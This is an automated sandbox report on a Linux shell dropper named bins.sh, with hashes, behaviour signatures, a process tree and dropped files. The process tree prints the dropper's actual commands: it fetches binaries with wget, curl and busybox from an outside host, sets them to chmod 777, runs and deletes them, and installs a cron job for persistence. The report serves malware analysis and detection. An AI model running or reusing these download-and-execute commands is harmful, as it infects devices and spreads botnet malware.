Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 19:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33fe30ddea37017dba79d9ff8ccccab6

  • SHA1

    2f46d11d6593800da2664e0f036f47cca85a026c

  • SHA256

    9a53bf01f86ac853771afd03556e8f77e39f9dd808d6714cf6d9e7216a11d8ee

  • SHA512

    eeeeb74e153500910d792b6eec95956975048cbed98855b307dce3dbc19af84f31b51e2cc1be5c6dde44088a8b9069c3bd82c2836bf5ebe1b96fc36ffd859d25

  • SSDEEP

    96:Y1V9IrIHIvakaoa6NFZIEcLsweLMQP+uTHbWUeOALsw12hZSmkoC9v9D9ev3JSLG:ySa/NdxFxev3JSw/Fxev3Jgp

Malware Config

Signatures

  • Contacts a large (1176) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:716
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • System Network Configuration Discovery
              PID:770
            • /bin/chmod
              chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
              • Executes dropped EXE
              PID:774
            • /bin/rm
              rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
              2⤵
                PID:778
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:779
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:788
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:802
              • /bin/chmod
                chmod 777 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                ./2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm 2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:814
                • /bin/chmod
                  chmod 777 tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • File and Directory Permissions Modification
                  PID:815
                • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  ./tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                  • Executes dropped EXE
                  PID:816
                • /bin/rm
                  rm tVUZen854UwlSjqMByJgMVogO5RprLxy9j
                  2⤵
                    PID:818
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:819
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:820
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:822
                  • /bin/chmod
                    chmod 777 ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:823
                  • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    ./ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:824
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:826
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:827
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:828
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:829
                      • /bin/rm
                        rm ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn
                        2⤵
                          PID:831
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/b4hIPspGNkdQsjh7ZWEdge1vI5TXFGiznE
                          2⤵
                          • System Network Configuration Discovery
                          PID:914

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      • /tmp/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/ChYjH1Nu2R7u8RnsmadpZo7NExxMkSFwSn

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/tVUZen854UwlSjqMByJgMVogO5RprLxy9j

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /var/spool/cron/crontabs/tmp.zvN0lu

                        Filesize

                        210B

                        MD5

                        2b56a2d9198553655f1568c7224c0b66

                        SHA1

                        55a4816cb1177896b9c68a95f4e228eda07c3b21

                        SHA256

                        88c67afd5d5b0991c2a2a7dd480cd65e3e71769540f64eb60f7ab20774e6dea7

                        SHA512

                        fa3c603f08ec8102b432b34b1e6b920fcb05a026aebf0ac080640ef1a6569b2ba2ec4c303bd7938268e284db1dc148d5fe67f05a73f2ce0c8caa7281b46881ec